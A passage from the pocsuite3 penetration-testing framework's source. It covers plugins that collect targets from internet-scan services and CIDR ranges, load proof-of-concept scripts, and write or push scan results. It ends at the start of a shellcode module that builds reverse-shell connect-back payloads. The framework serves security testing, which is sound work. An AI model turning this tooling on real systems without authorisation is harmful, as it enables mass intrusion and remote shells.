str(match['service'].split('/')[-1])\n                            if scheme:\n                                url = f'{scheme}://{url}'\n\n                        search_result.add(url)\n                        if kb.comparison:\n                            honeypot = False\n                            if match['honeypot'] == 1:\n                                honeypot = True\n                            kb.comparison.add_ip(match['ip'], \"Zoomeye\", honeypot)\n        except Exception as ex:\n            logger.error(str(ex))\n        return search_result\n\n\nif __name__ == \"__main__\":\n    kb.comparison = False\n    ze = ZoomEye()\n    res = ze.search(dork='\"<title>Vigor 300B</title>\"', pages=1)\n    print(res)\n    res = ze.search(dork='domain=\"google.com\"', pages=1, pagesize=100, search_type='all')\n    print(res)\n"
  },
  {
    "path": "pocsuite3/plugins/__init__.py",
    "content": ""
  },
  {
    "path": "pocsuite3/plugins/file_record.py",
    "content": "import os\nimport time\nimport json\nfrom pocsuite3.api import PLUGIN_TYPE\nfrom pocsuite3.api import PluginBase\nfrom pocsuite3.api import logger\nfrom pocsuite3.api import register_plugin, paths, conf\n\n\nclass FileRecord(PluginBase):\n    category = PLUGIN_TYPE.RESULTS\n    filename = conf.output_path or os.path.join(paths.POCSUITE_OUTPUT_PATH, \"{}.txt\".format(int(time.time())))\n    file = None\n\n    def init(self):\n        debug_msg = \"[PLUGIN] file_record plugin init...\"\n        logger.debug(debug_msg)\n        logger.info(\"[PLUGIN] The result will be recorded in {}\".format(self.filename))\n        if os.path.exists(self.filename):\n            raise Exception(\"The {} has existed\".format(self.filename))\n        self.file = open(self.filename, 'a+')\n\n    def handle(self, output):\n        status = output.get(\"status\")\n        if status and status == \"success\":\n            poc_name = output.get(\"poc_name\")\n            target = output.get(\"target\")\n            created = output.get(\"created\")\n            result = output.get(\"result\")\n            msg = {\n                \"target\": target,\n                \"poc_name\": poc_name,\n                \"result\": result,\n                \"created_time\": created\n            }\n            self.file.write(json.dumps(msg) + '\\n')\n\n    def start(self):\n        self.file.close()\n        msg = \"[PLUGIN] File saved in {}\".format(self.filename)\n        logger.info(msg)\n\n\nregister_plugin(FileRecord)\n"
  },
  {
    "path": "pocsuite3/plugins/html_report.py",
    "content": "import time\nimport sys\nimport os\nfrom pocsuite3 import __version__\nfrom pocsuite3.api import PluginBase\nfrom pocsuite3.api import PLUGIN_TYPE\nfrom pocsuite3.api import logger\nfrom pocsuite3.api import conf\nfrom pocsuite3.api import paths\nfrom pocsuite3.api import get_results\nfrom pocsuite3.api import register_plugin\nfrom pocsuite3.lib.utils.markup import page\n\n\nclass HtmlExport:\n    def __init__(self, filename='', title='Report of []'):\n        self.filename = filename\n        self.title = title\n        self.html = page()\n        self.style = \"\"\"\n        html {\n            position: relative;\n            min-height: 100%;\n        }\n        body {margin-bottom: 60px;}\n        .footer {\n            position: absolute;\n            margin: 10px 0px;\n            width: 100%;\n            background-color: #f5f5f5;\n        }\n        body > .container {\n          padding: 60px 15px 0;\n        }\n        .container .text-muted {\n          margin: 20px 0;\n        }\n\n        .footer > .container {\n          padding: 20px 15px;\n        }\n\n        code {\n          font-size: 80%;\n        }\n        \"\"\"\n\n    def _write_header(self):\n        self.html.init(title=self.title,\n                       charset='utf-8',\n                       encoding='utf-8',\n                       style=self.style,\n                       metainfo={\n                           'viewport': 'width=device-width, initial-scale=1, shrink-to-fit=no'},\n                       css=['https://cdn.bootcss.com/bootstrap/4.0.0/css/bootstrap.min.css'],\n                       script=['https://cdn.bootcss.com/jquery/3.2.1/jquery.slim.min.js',\n                               'https://cdn.bootcss.com/popper.js/1.12.9/umd/popper.min.js',\n                               'https://cdn.bootcss.com/bootstrap/4.0.0/js/bootstrap.min.js'\n                               ]\n                       )\n\n    def _write_navbar(self, name='Target', menus={}):\n        self.html.nav(class_=\"navbar navbar-dark bg-dark fixed-top\")\n        self.html.addcontent('<a class=\"navbar-brand\" href=\"#\">{0}</a>'.format(name))\n        self.html.addcontent('<button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" '\n                             'data-target=\"#navbarNavDropdown\" aria-controls=\"navbarNavDropdown\" '\n                             'aria-expanded=\"false\" aria-label=\"Toggle navigation\">'\n                             '<span class=\"navbar-toggler-icon\"></span></button>')\n        self.html.div(class_=\"collapse navbar-collapse\", id_=\"navbarNavDropdown\")\n        self.html.ul(class_=\"navbar-nav\")\n        for k, v in menus.items():\n            self.html.addcontent('<li class=\"nav-item\"><a class=\"nav-link\" href=\"{0}\">{1}</a></li>'.format(v, k))\n        self.html.ul.close()\n        self.html.div.close()\n        self.html.nav.close()\n\n    def _writer_footer(self):\n        text = 'Report was automatically generated by pocsuite3 version {0} @ {1}</br>Command line: {2}'.format(\n            __version__,\n            time.strftime(\"%Y-%m-%d %H:%M:%S\"),\n            \" \".join(sys.argv)\n        )\n\n        self.html.footer(class_=\"footer\")\n        self.html.div(class_=\"container\")\n        self.html.addcontent('<span class=\"text-muted\">{0}</span>'.format(text))\n        self.html.div.close()\n        self.html.footer.close()\n        self.html.addcontent('<script type=\"text/javascript\">'\n                             'function copyAll() {'\n                             'var targetValue = $(\"#all-target\").val();'\n                             'navigator.clipboard.writeText(targetValue).then(function() {'\n                             'alert(\"Copy Successful\");'\n                             '}, function(err) {'\n                             'alert(\"Copy failed\");'\n                             '});'\n                             '}'\n                             '</script>')\n        self.html.addcontent('<script type=\"text/javascript\">'\n                             'function copySuc() {'\n                             'var targetValue = $(\"#suc-target\").val();'\n                             'navigator.clipboard.writeText(targetValue).then(function() {'\n                             'alert(\"Copy successful\");'\n                             '}, function(err) {'\n                             'alert(\"Copy failed\");'\n                             '});'\n                             '}'\n                             '</script>')\n\n        self.html.body.close()\n        self.html.html.close()\n\n    def write_results(self, results=None):\n        if results:\n            self.html.addcontent('<button onclick=\"copyAll()\" class=\"btn btn-primary\" '\n                                 'style=\"margin-bottom: 10px\">Copy all</button>')\n            self.html.addcontent('<button onclick=\"copySuc()\" class=\"btn btn-success\"'\n                                 ' style=\"margin-bottom: 10px\">Copy Successful</button>')\n            self.html.addcontent('<table class=\"table table-striped table-bordered table-hover\">'\n                                 '<thead class=\"thead-dark\"><tr>'\n                                 '<th scope=\"col\">Target</th>'\n                                 '<th scope=\"col\">PoC/Exp Name</th>'\n                                 '<th scope=\"col\">SSVID</th>'\n                                 '<th scope=\"col\">Component</th>'\n                                 '<th scope=\"col\">Version</th>'\n                                 '<th scope=\"col\">Status</th>'\n                                 '<th scope=\"col\">Extra</th>'\n                                 '</tr></thead><tbody>'\n                                 )\n            all_target = []\n            suc_target = []\n\n            for result in results:\n                all_target.append(result.target)\n                if result.status == 'success':\n                    suc_target.append(result.target)\n                    content = (\n                        '<tr>'\n                        '<td><a href=\"{0}\" target=\"_blank\">{1}</a></td>'\n                        '<td>{2}</td>'\n                        '<td><a href=\"https://www.seebug.org/vuldb/ssvid-{3}\" target=\"_blank\">{4}</a></td>'\n                        '<td>{5}</td>'\n                        '<td>{6}</td>'\n                        '<td><span class=\"badge badge-success\">{7}</span></td>'\n                        '<td>{8}</td>'\n                        '</tr>'\n                    )\n                else:\n                    content = (\n                        '<tr>'\n                        '<td><a href=\"{0}\" target=\"_blank\">{1}</a></td>'\n                        '<td>{2}</td>'\n                        '<td><a href=\"https://www.seebug.org/vuldb/ssvid-{3}\" target=\"_blank\">{4}</a></td>'\n                        '<td>{5}</td>'\n                        '<td>{6}</td>'\n                        '<td><span class=\"badge badge-secondary\">{7}</span></td>'\n                        '<td>{8}</td>'\n                        '</tr>'\n                    )\n                result.result.get('VerifyInfo').pop('URL')\n                extra_info = '/'.join([item for item in result.result.get('VerifyInfo').values()])\n                self.html.addcontent(content.format(result.target,\n                                                    result.target,\n                                                    result.poc_name,\n                                                    result.vul_id,\n                                                    result.vul_id,\n                                                    result.app_name,\n                                                    result.app_version,\n                                                    result.status,\n                                                    extra_info)\n                                     )\n\n            self.html.addcontent('</tbody></table>')\n            self.html.addcontent('<textarea id=\"all-target\" style=\"display:none\">{}</textarea>'.format(\n                '\\n'.join(all_target)\n            ))\n            self.html.addcontent('<textarea id=\"suc-target\" style=\"display:none\">{}</textarea>'.format(\n                '\\n'.join(suc_target)\n            ))\n\n    def write_html(self, results=None):\n        menus = {\n            'Site': 'https://pocsuite.org',\n            'Seebug': 'https://www.seebug.org',\n            'Help': 'https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md',\n            'Bug report': 'https://github.com/knownsec/pocsuite3/issues',\n        }\n        self._write_header()\n        self._write_navbar(name='Pocsuite3', menus=menus)\n        self.html.main(role_=\"main\", class_='container')\n        self.write_results(results)\n        self.html.main.close()\n        self._writer_footer()\n\n        with open(self.filename, 'w', encoding='utf-8') as f:\n            for x in self.html.content:\n                try:\n                    f.write(\"{0}\\n\".format(x))\n                except Exception:\n                    pass\n\n\nclass HtmlReport(PluginBase):\n    category = PLUGIN_TYPE.RESULTS\n\n    def init(self):\n        debug_msg = \"[PLUGIN] html_report plugin init...\"\n        logger.debug(debug_msg)\n\n    def start(self):\n        # TODO\n        # Generate html report\n        filename = \"pocsuite_{0}.html\".format(time.strftime(\"%Y%m%d_%H%M%S\"))\n        filename = os.path.join(paths.POCSUITE_OUTPUT_PATH, filename)\n        if conf.url:\n            title = \"Report of {0}\".format(repr(conf.url))\n        elif conf.dork:\n            title = \"Report of [{0}]\".format(conf.dork)\n        else:\n            title = \"Report of [{0}]\".format('Plugin imported targets')\n        html_export = HtmlExport(filename=filename, title=title)\n        results = get_results()\n        if results:\n            results = sorted(results, key=lambda r: r.status, reverse=True)\n        html_export.write_html(results)\n\n        info_msg = '[PLUGIN] generate html report at {0}'.format(filename)\n        logger.info(info_msg)\n\n\nregister_plugin(HtmlReport)\n"
  },
  {
    "path": "pocsuite3/plugins/poc_from_pocs.py",
    "content": "# load poc from pocs directories\nimport os\n\nfrom pocsuite3.api import PLUGIN_TYPE\nfrom pocsuite3.api import PluginBase\nfrom pocsuite3.api import logger\nfrom pocsuite3.api import paths\nfrom pocsuite3.api import register_plugin\n\n\nclass PocFromPocs(PluginBase):\n    category = PLUGIN_TYPE.POCS\n\n    def init(self):\n        _pocs = []\n        for root, dirs, files in os.walk(paths.POCSUITE_POCS_PATH):\n            files = filter(lambda x: not x.startswith(\"__\") and x.endswith(\".py\"), files)\n            _pocs.extend(map(lambda x: os.path.join(root, x), files))\n        for f in _pocs:\n\n            if self.add_poc_from_file(f):\n                info_msg = \"[PLUGIN] load PoC script '{0}' from pocs directories success\".format(f)\n            else:\n                info_msg = \"[PLUGIN] load PoC script '{0}' from pocs directories failed\".format(f)\n            logger.info(info_msg)\n\n\nregister_plugin(PocFromPocs)\n"
  },
  {
    "path": "pocsuite3/plugins/poc_from_redis.py",
    "content": "from pocsuite3.api import PluginBase\nfrom pocsuite3.api import PLUGIN_TYPE\nfrom pocsuite3.api import logger\nfrom pocsuite3.api import register_plugin\n\n\nclass PocFromRedis(PluginBase):\n    category = PLUGIN_TYPE.POCS\n\n    @staticmethod\n    def get_redis(redis_url=None):\n        ret = None\n        try:\n            import os\n            from redis import Redis\n\n            if redis_url is None:\n                if 'REDIS_URL' in os.environ:\n                    redis_url = os.environ.get('REDIS_URL', 'redis://@localhost:6379/1')\n                else:\n                    redis_url = 'redis://@localhost:6379/1'\n\n            redis = Redis.from_url(redis_url)\n            redis.ping()\n            ret = redis\n\n        except ImportError:\n            error_msg = 'try \"pip install redis\" first!'\n            logger.error(error_msg)\n            raise\n\n        except Exception as ex:\n            logger.error(str(ex))\n            raise\n\n        return ret\n\n    def init(self):\n        r = self.get_redis()\n        if r:\n            key = 'pocsuite_poc'\n            info_msg = \"[PLUGIN] try fetch pocs from redis...\"\n            logger.info(info_msg)\n\n            pocs = r.get(key)\n            pocs = [pocs]\n            count = 0\n            if pocs:\n                for poc in pocs:\n                    if poc and self.add_poc(poc):\n                        count += 1\n\n            info_msg = \"[PLUGIN] get {0} poc(s) from redis\".format(count)\n\n            logger.info(info_msg)\n\n\nregister_plugin(PocFromRedis)\n"
  },
  {
    "path": "pocsuite3/plugins/poc_from_seebug.py",
    "content": "from pocsuite3.api import PluginBase\nfrom pocsuite3.api import PLUGIN_TYPE\nfrom pocsuite3.api import logger\nfrom pocsuite3.api import conf\nfrom pocsuite3.api import Seebug\nfrom pocsuite3.api import register_plugin\n\n\nclass PocFromSeebug(PluginBase):\n    category = PLUGIN_TYPE.POCS\n\n    def init_seebug_api(self):\n        self.seebug = Seebug(token=conf.seebug_token)\n\n    def init(self):\n        self.init_seebug_api()\n        if conf.poc:\n            for _ in conf.poc:\n                if _.startswith('ssvid-'):\n                    poc = self.seebug.fetch_poc(_)\n                    if poc and self.add_poc(poc):\n                        info_msg = \"[PLUGIN] load PoC script {0} from seebug success\".format(_)\n                    else:\n                        info_msg = \"[PLUGIN] load PoC script {0} from seebug failed\".format(_)\n                    logger.info(info_msg)\n\n        if conf.vul_keyword:\n            pocs = self.seebug.search_poc(conf.vul_keyword)\n            info_msg = \"Found {0} available PoC(s) from Seebug website\".format(len(pocs))\n            logger.info(info_msg)\n\n            for poc_item in pocs:\n                ssvid = str(poc_item['id'])\n                poc = self.seebug.fetch_poc(ssvid)\n                if poc and self.add_poc(poc):\n                    info_msg = \"[PLUGIN] load PoC script '{0}' from seebug success\".format(poc_item['name'])\n                else:\n                    info_msg = \"[PLUGIN] load PoC script '{0}' from seebug failed\".format(poc_item['name'])\n                logger.info(info_msg)\n\n        if conf.ssvid:\n            ssvid = conf.ssvid\n            poc = self.seebug.fetch_poc(ssvid)\n            if poc and self.add_poc(poc):\n                info_msg = \"[PLUGIN] load PoC script 'ssvid-{0}' from seebug success\".format(ssvid)\n            else:\n                info_msg = \"[PLUGIN] load PoC script 'ssvid-{0}' from seebug failed\".format(ssvid)\n            logger.info(info_msg)\n\n\nregister_plugin(PocFromSeebug)\n"
  },
  {
    "path": "pocsuite3/plugins/target_from_censys.py",
    "content": "from pocsuite3.api import PluginBase\nfrom pocsuite3.api import PLUGIN_TYPE\nfrom pocsuite3.api import logger\nfrom pocsuite3.api import conf\nfrom pocsuite3.api import Censys\nfrom pocsuite3.api import register_plugin\nfrom pocsuite3.api import kb\nfrom pocsuite3.lib.core.exception import PocsuitePluginDorkException\n\n\nclass TargetFromCensys(PluginBase):\n    category = PLUGIN_TYPE.TARGETS\n\n    def init_censys_api(self):\n        self.censys = Censys(uid=conf.censys_uid, secret=conf.censys_secret)\n        info_msg = \"[PLUGIN] Censys credits limit {0}\".format(self.censys.credits)\n        logger.info(info_msg)\n\n    def init(self):\n        self.init_censys_api()\n        dork = None\n        if conf.dork_censys:\n            dork = conf.dork_censys\n        else:\n            dork = conf.dork\n        if not dork:\n            msg = \"Need to set up dork (please --dork or --dork-censys)\"\n            raise PocsuitePluginDorkException(msg)\n        if conf.dork_b64:\n            import base64\n            dork = str(base64.b64decode(dork), encoding=\"utf-8\")\n        if kb.comparison:\n            kb.comparison.add_dork(\"Censys\", dork)\n        info_msg = \"[PLUGIN] try fetch targets from censys with dork: {0}\".format(dork)\n        logger.info(info_msg)\n        search_type = conf.search_type\n        if search_type == \"web\":\n            search_type = \"websites\"\n        else:\n            search_type = \"ipv4\"\n        targets = self.censys.search(dork, conf.max_page, resource=search_type)\n        count = 0\n        if targets:\n            for target in targets:\n                if kb.comparison:\n                    kb.comparison.add_ip(target, \"Censys\")\n                if self.add_target(target):\n                    count += 1\n\n        info_msg = \"[PLUGIN] got {0} target(s) from Censys\".format(count)\n        logger.info(info_msg)\n\n\nregister_plugin(TargetFromCensys)\n"
  },
  {
    "path": "pocsuite3/plugins/target_from_cidr.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Time    : 2019/1/15 2:32 PM\n# @Author  : chenghs\n# @File    : target_from_cidr.py\nimport os\nfrom ipaddress import ip_network\n\nfrom pocsuite3.api import PLUGIN_TYPE\nfrom pocsuite3.api import PluginBase\nfrom pocsuite3.api import logger\nfrom pocsuite3.api import register_plugin, conf\n\n\nclass TargetFromCIDR(PluginBase):\n    category = PLUGIN_TYPE.TARGETS\n\n    def init(self):\n\n        info_msg = \"[PLUGIN] try fetch targets from CIDR...\"\n        logger.info(info_msg)\n        cidr_set = set()\n        if \"CIDR\" in os.environ:\n            cidr_set.add(os.environ.get(\"CIDR\"))\n        elif conf.url:\n            for i in conf.url:\n                cidr_set.add(i)\n            conf.url = []\n        else:\n            cidr_text = input(\"Please input CIDR address:\")\n            cidr_set.add(cidr_text)\n        count = 0\n        for i in cidr_set:\n            try:\n                network = ip_network(i, strict=False)\n                for host in network.hosts():\n                    self.add_target(host.exploded)\n                    count += 1\n            except ValueError:\n                logger.error(\"[PLUGIN] error format from \" + i)\n        info_msg = \"[PLUGIN] got {0} target(s) from CIDR\".format(count)\n        logger.info(info_msg)\n\n\nregister_plugin(TargetFromCIDR)\n"
  },
  {
    "path": "pocsuite3/plugins/target_from_fofa.py",
    "content": "from pocsuite3.api import PluginBase\nfrom pocsuite3.api import PLUGIN_TYPE\nfrom pocsuite3.api import logger\nfrom pocsuite3.api import conf\nfrom pocsuite3.api import Fofa\nfrom pocsuite3.api import register_plugin\nfrom pocsuite3.api import kb\nfrom pocsuite3.lib.core.exception import PocsuitePluginDorkException\n\n\nclass TargetFromFofa(PluginBase):\n    category = PLUGIN_TYPE.TARGETS\n\n    def init_fofa_api(self):\n        self.fofa = Fofa(user=conf.fofa_user, token=conf.fofa_token)\n\n    def init(self):\n        self.init_fofa_api()\n        dork = None\n        if conf.dork_fofa:\n            dork = conf.dork_fofa\n        else:\n            dork = conf.dork\n        if not dork:\n            msg = \"Need to set up dork (please --dork or --dork-fofa)\"\n            raise PocsuitePluginDorkException(msg)\n        if conf.dork_b64:\n            import base64\n            dork = str(base64.b64decode(dork), encoding=\"utf-8\")\n\n        if kb.comparison:\n            kb.comparison.add_dork(\"Fofa\", dork)\n        info_msg = \"[PLUGIN] try fetch targets from Fofa with dork: {0}\".format(dork)\n        logger.info(info_msg)\n        targets = self.fofa.search(dork, conf.max_page, resource=conf.search_type)\n        count = 0\n        if targets:\n            for target in targets:\n                if kb.comparison:\n                    kb.comparison.add_ip(target, \"Fofa\")\n                if self.add_target(target):\n                    count += 1\n\n        info_msg = \"[PLUGIN] got {0} target(s) from Fofa\".format(count)\n        logger.info(info_msg)\n\n\nregister_plugin(TargetFromFofa)\n"
  },
  {
    "path": "pocsuite3/plugins/target_from_hunter.py",
    "content": "from pocsuite3.api import PluginBase\nfrom pocsuite3.api import PLUGIN_TYPE\nfrom pocsuite3.api import logger\nfrom pocsuite3.api import conf\nfrom pocsuite3.api import Hunter\nfrom pocsuite3.api import register_plugin\nfrom pocsuite3.api import kb\nfrom pocsuite3.lib.core.exception import PocsuitePluginDorkException\n\n\nclass TargetFromHunter(PluginBase):\n    category = PLUGIN_TYPE.TARGETS\n\n    def init_hunter_api(self):\n        self.hunter = Hunter(token=conf.hunter_token)\n        info_msg = \"[PLUGIN] Hunter credits limit {0}\".format(self.hunter.credits)\n        logger.info(info_msg)\n\n    def init(self):\n        self.init_hunter_api()\n        dork = None\n        if conf.dork_hunter:\n            dork = conf.dork_hunter\n        else:\n            dork = conf.dork\n        if not dork:\n            msg = \"Need to set up dork (please --dork or --dork-hunter)\"\n            raise PocsuitePluginDorkException(msg)\n        if conf.dork_b64:\n            import base64\n            dork = str(base64.b64decode(dork), encoding=\"utf-8\")\n\n        if kb.comparison:\n            kb.comparison.add_dork(\"Hunter\", dork)\n        info_msg = \"[PLUGIN] try fetch targets from Hunter with dork: {0}\".format(dork)\n        logger.info(info_msg)\n        targets = self.hunter.search(dork, conf.max_page)\n        count = 0\n        if targets:\n            for target in targets:\n                if kb.comparison:\n                    kb.comparison.add_ip(target, \"Hunter\")\n                if self.add_target(target):\n                    count += 1\n\n        info_msg = \"[PLUGIN] got {0} target(s) from Hunter\".format(count)\n        logger.info(info_msg)\n\n\nregister_plugin(TargetFromHunter)\n"
  },
  {
    "path": "pocsuite3/plugins/target_from_quake.py",
    "content": "from pocsuite3.api import PluginBase\nfrom pocsuite3.api import PLUGIN_TYPE\nfrom pocsuite3.api import logger\nfrom pocsuite3.api import conf\nfrom pocsuite3.api import Quake\nfrom pocsuite3.api import register_plugin\nfrom pocsuite3.api import kb\nfrom pocsuite3.lib.core.exception import PocsuitePluginDorkException\n\n\nclass TargetFromQuake(PluginBase):\n    category = PLUGIN_TYPE.TARGETS\n\n    def init_quake_api(self):\n        self.quake = Quake(token=conf.quake_token)\n\n    def init(self):\n        self.init_quake_api()\n        dork = None\n        if conf.dork_quake:\n            dork = conf.dork_quake\n        else:\n            dork = conf.dork\n        if not dork:\n            msg = \"Need to set up dork (please --dork or --dork-quake)\"\n            raise PocsuitePluginDorkException(msg)\n        if conf.dork_b64:\n            import base64\n            dork = str(base64.b64decode(dork), encoding=\"utf-8\")\n\n        if kb.comparison:\n            kb.comparison.add_dork(\"Quake\", dork)\n        info_msg = \"[PLUGIN] try fetch targets from Quake with dork: {0}\".format(\n            dork)\n        logger.info(info_msg)\n        targets = self.quake.search(dork, conf.max_page)\n        count = 0\n        if targets:\n            for target in targets:\n                if kb.comparison:\n                    kb.comparison.add_ip(target, \"Quake\")\n                if self.add_target(target):\n                    count += 1\n\n        info_msg = \"[PLUGIN] got {0} target(s) from Quake\".format(count)\n        logger.info(info_msg)\n\n\nregister_plugin(TargetFromQuake)\n"
  },
  {
    "path": "pocsuite3/plugins/target_from_redis.py",
    "content": "from pocsuite3.api import PluginBase\nfrom pocsuite3.api import PLUGIN_TYPE\nfrom pocsuite3.api import logger\nfrom pocsuite3.api import register_plugin\n\n\nclass TargetFromRedis(PluginBase):\n    category = PLUGIN_TYPE.TARGETS\n\n    @staticmethod\n    def get_redis(redis_url=None):\n        ret = None\n        try:\n            import os\n            from redis import Redis\n\n            if redis_url is None:\n                if 'REDIS_URL' in os.environ:\n                    redis_url = os.environ.get('REDIS_URL', 'redis://@localhost:6379/0')\n                else:\n                    redis_url = 'redis://@localhost:6379/0'\n\n            redis = Redis.from_url(redis_url)\n            redis.ping()\n            ret = redis\n\n        except ImportError:\n            error_msg = 'try \"pip install redis\" first!'\n            logger.error(error_msg)\n            raise\n\n        except Exception as ex:\n            logger.error(str(ex))\n            raise\n\n        return ret\n\n    def init(self):\n        r = self.get_redis()\n        if r:\n            key = 'pocsuite_target'\n            info_msg = \"[PLUGIN] try fetch targets from redis...\"\n            logger.info(info_msg)\n\n            targets = r.get(key)\n            count = 0\n            if targets:\n                for target in targets:\n                    if self.add_target(target):\n                        count += 1\n\n            info_msg = \"[PLUGIN] got {0} target(s) from redis\".format(count)\n            logger.info(info_msg)\n\n\nregister_plugin(TargetFromRedis)\n"
  },
  {
    "path": "pocsuite3/plugins/target_from_shodan.py",
    "content": "from pocsuite3.api import PluginBase\nfrom pocsuite3.api import PLUGIN_TYPE\nfrom pocsuite3.api import logger\nfrom pocsuite3.api import conf\nfrom pocsuite3.api import Shodan\nfrom pocsuite3.api import register_plugin\nfrom pocsuite3.api import kb\nfrom pocsuite3.lib.core.exception import PocsuitePluginDorkException\n\n\nclass TargetFromShodan(PluginBase):\n    category = PLUGIN_TYPE.TARGETS\n\n    def init_shodan_api(self):\n        self.shodan = Shodan(token=conf.shodan_token)\n        info_msg = \"[PLUGIN] shodan credits limit {0}\".format(self.shodan.credits)\n        logger.info(info_msg)\n\n    def init(self):\n        self.init_shodan_api()\n        dork = None\n        if conf.dork_shodan:\n            dork = conf.dork_shodan\n        else:\n            dork = conf.dork\n        if not dork:\n            msg = \"Need to set up dork (please --dork or --dork-shodan)\"\n            raise PocsuitePluginDorkException(msg)\n        if conf.dork_b64:\n            import base64\n            dork = str(base64.b64decode(dork), encoding=\"utf-8\")\n\n        if kb.comparison:\n            kb.comparison.add_dork(\"Shodan\", dork)\n        info_msg = \"[PLUGIN] try fetch targets from shodan with dork: {0}\".format(dork)\n        logger.info(info_msg)\n        targets = self.shodan.search(dork, conf.max_page)\n        count = 0\n        if targets:\n            for target in targets:\n                if kb.comparison:\n                    kb.comparison.add_ip(target, \"Shodan\")\n                if self.add_target(target):\n                    count += 1\n\n        info_msg = \"[PLUGIN] got {0} target(s) from shodan\".format(count)\n        logger.info(info_msg)\n\n\nregister_plugin(TargetFromShodan)\n"
  },
  {
    "path": "pocsuite3/plugins/target_from_zoomeye.py",
    "content": "from pocsuite3.api import PluginBase\nfrom pocsuite3.api import PLUGIN_TYPE\nfrom pocsuite3.api import logger\nfrom pocsuite3.api import conf\nfrom pocsuite3.api import ZoomEye\nfrom pocsuite3.api import register_plugin\nfrom pocsuite3.lib.core.exception import PocsuitePluginDorkException\n\n\nclass TargetFromZoomeye(PluginBase):\n    category = PLUGIN_TYPE.TARGETS\n\n    def init_zoomeye_api(self):\n        self.zoomeye = ZoomEye(token=conf.zoomeye_token)\n        info_msg = \"[PLUGIN] ZoomEeye search limit {0}\".format(self.zoomeye.points + self.zoomeye.zoomeye_points)\n        logger.info(info_msg)\n\n    def init(self):\n        self.init_zoomeye_api()\n        dork = None\n        if conf.dork_zoomeye:\n            dork = conf.dork_zoomeye\n        else:\n            dork = conf.dork\n        if not dork:\n            msg = \"Need to set up dork (please --dork or --dork-zoomeye)\"\n            raise PocsuitePluginDorkException(msg)\n        if conf.dork_b64:\n            dork = dork\n\n        info_msg = \"[PLUGIN] try fetch targets from zoomeye with dork: {0}\".format(dork)\n        logger.info(info_msg)\n        targets = self.zoomeye.search(dork, conf.max_page, conf.page_size, search_type=conf.search_type)\n        count = 0\n        if targets:\n            for target in targets:\n                if self.add_target(target):\n                    count += 1\n\n        info_msg = \"[PLUGIN] got {0} target(s) from zoomeye\".format(count)\n        logger.info(info_msg)\n\n\nregister_plugin(TargetFromZoomeye)\n"
  },
  {
    "path": "pocsuite3/plugins/web_hook.py",
    "content": "import hmac\nimport hashlib\nimport base64\nimport urllib.parse\nimport requests\nimport time\n\nfrom pocsuite3.api import PLUGIN_TYPE, get_results\nfrom pocsuite3.api import PluginBase\nfrom pocsuite3.api import logger\nfrom pocsuite3.api import register_plugin, conf\n\nDINGTALK_TOKEN = \"\"\nDINGTALK_SECRET = \"\"\nWX_WORK_KEY = \"\"\n\n\ndef dingding_send(msg, access_token, secret, msgtype=\"markdown\", title=\"pocsuite3消息推送\"):\n    ding_url = \"https://oapi.dingtalk.com/robot/send?access_token={}\".format(access_token)\n    timestamp = str(round(time.time() * 1000))\n    secret_enc = secret.encode('utf-8')\n    string_to_sign = '{}\\n{}'.format(timestamp, secret)\n    string_to_sign_enc = string_to_sign.encode('utf-8')\n    hmac_code = hmac.new(secret_enc, string_to_sign_enc, digestmod=hashlib.sha256).digest()\n    sign = urllib.parse.quote_plus(base64.b64encode(hmac_code))\n    param = \"&timestamp={}&sign={}\".format(timestamp, sign)\n    ding_url = ding_url + param\n    send_json = {\n        \"msgtype\": msgtype,\n        \"markdown\": {\n            \"title\": title,\n            \"text\": \"# pocsuite3消息推送\\n\\n\" + msg\n        }\n    }\n    requests.post(ding_url, json=send_json)\n\n\ndef wx_work_send(msg, key):\n    webhook_url = \"https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=\" + key\n    send_data = {\n        \"msgtype\": \"markdown\",\n        \"markdown\": {\n            \"content\": \"# pocsuite3消息推送\\n\\n\" + msg\n        }\n    }\n    requests.post(webhook_url, json=send_data)\n\n\ndef web_hook_send(msg):\n    dingtalk_token = conf.dingtalk_token or DINGTALK_TOKEN\n    dingtalk_secret = conf.dingtalk_secret or DINGTALK_SECRET\n    wx_work_key = conf.wx_work_key or WX_WORK_KEY\n    if dingtalk_token and dingtalk_secret:\n        dingding_send(msg, dingtalk_token, dingtalk_secret)\n    if wx_work_key:\n        wx_work_send(msg, wx_work_key)\n\n\nclass WebHook(PluginBase):\n    category = PLUGIN_TYPE.RESULTS\n\n    def init(self):\n        debug_msg = \"[PLUGIN] web hook plugin init...\"\n        logger.debug(debug_msg)\n\n    def start(self):\n        push_info = \"\"\n        for result in get_results():\n            if result.status == \"success\":\n                poc_name = result.get(\"poc_name\")\n                target = result.get(\"target\")\n                push_info += \"- {} found vuln: {}\".format(target, poc_name)\n        web_hook_send(push_info)\n\n\nregister_plugin(WebHook)\n"
  },
  {
    "path": "pocsuite3/shellcodes/__init__.py",
    "content": "import os\nfrom platform import system, architecture\n\nfrom pocsuite3.lib.core.data import logger\nfrom pocsuite3.lib.core.enums import SHELLCODE_TYPE, OS, OS_ARCH\nfrom pocsuite3.shellcodes.generator import ShellGenerator\nfrom pocsuite3.shellcodes.encoder import CodeEncoders\nfrom pocsuite3.shellcodes.java import JavaShellCode\nfrom pocsuite3.shellcodes.php import PhpShellCode\nfrom pocsuite3.shellcodes.python import PythonShellCode\nfrom pocsuite3.shellcodes.dotnet import AspxShellCode\n\n\nclass OSShellcodes:\n    \"\"\"\n        Class with shellcodes for operating systems (Linux, Windows, etc)\n    \"\"\"\n\n    def __init__(self, os_target, os_target_arch, connect_back_ip='localhost', connect_back_port=5555, bad_chars=['\\x00']):\n        \"\"\"\n        Initializes object OSShellcodes.\n        :param os_target: (string) \"WINDOWS\" or \"LINUX\"\n        :param os_target_arch: (string) \"32bit\" or \"64bit\"\n        :param connect_back_ip: (string) Ip address of machine with enabled shell listener\n        :param connect_back_port: (int) Port where listener listen to connection.\n        :param bad_chars: (list of strings) Badchars for encoder\n        :return:\n        \"\"\"\n        self.name = \"\"\n        self.OS_TARGET = os_target\n        self.OS_TARGET_ARCH = os_target_arch\n        self.CONNECTBACK_IP = connect_back_ip\n        self.CONNECTBACK_PORT = connect_back_port\n        self.BADCHARS = bad_chars\n        self.OS_SYSTEM = system().upper()\n        self.OS_ARCH = (architecture())[0]\n        self.binary_path = \"\"\n        return\n\n    def create_shellcode(self, _shellcode_type='reverse', command='calc.exe', message='', encode=None, make_exe=0,\n                         debug=0, filename=\"\", dll_inj_funcs=[], 